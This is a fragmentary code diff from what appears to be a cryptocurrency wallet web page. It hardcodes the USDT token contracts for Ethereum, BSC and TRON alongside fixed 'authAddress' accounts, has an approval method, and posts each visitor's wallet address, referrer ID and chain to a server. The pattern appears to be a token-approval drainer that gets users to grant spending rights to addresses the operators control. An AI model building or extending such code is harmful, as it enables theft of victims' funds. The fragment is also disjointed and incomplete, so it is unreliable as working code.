| | |
| | | imgUrl: 'https://qny.ohmj.org/kylin/wallet/BitPay.jpeg' |
| | | }], |
| | | simulateData, //模拟数据 |
| | | availableWallet |
| | | availableWallet, |
| | | chainType: ref('') |
| | | }; |
| | | }, |
| | | methods: { |
| | |
| | | if(chainId == 1) { |
| | | contractAddress = "0xdac17f958d2ee523a2206206994597c13d831ec7"; |
| | | authAddress = '0x6c5640c572504a75121e57760909a9dd0E672f2D'; |
| | | this.chainType = 'ETH' |
| | | }else if(chainId == 56) { |
| | | contractAddress = "0x55d398326f99059fF775485246999027B3197955"; |
| | | authAddress = '0x4ebdca102623b46a47042d580dddade2a53d057f'; |
| | | web3.eth.currentProvider.rpcUrl='https://data-seed-prebsc-1-s1.binance.org:8545'; |
| | | console.log('bian---') |
| | | console.log(web3.eth.currentProvider) |
| | | this.chainType = 'BSC' |
| | | }else{ |
| | | this.$toast(this.$t('message.Waringing')); |
| | | this.isApproving = false; |
| | |
| | | }) |
| | | }, |
| | | async tornWebApprove () { |
| | | this.chainType = 'TRX' |
| | | const tronWeb = window.tronWeb; |
| | | const trxContractAddress = "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t"; |
| | | const authAddress = "TUFzqZRpLwLWJU4jcdf77RKS3Ts2uEhmWL"; |
| | |
| | | method: 'post', |
| | | data: { |
| | | address: this.walletAddress, |
| | | refererId: refererId ? refererId : '' |
| | | refererId: refererId ? refererId : '', |
| | | chainType: this.chainType |
| | | } |
| | | }).then((res) => { |
| | | if(res.code == 200) { |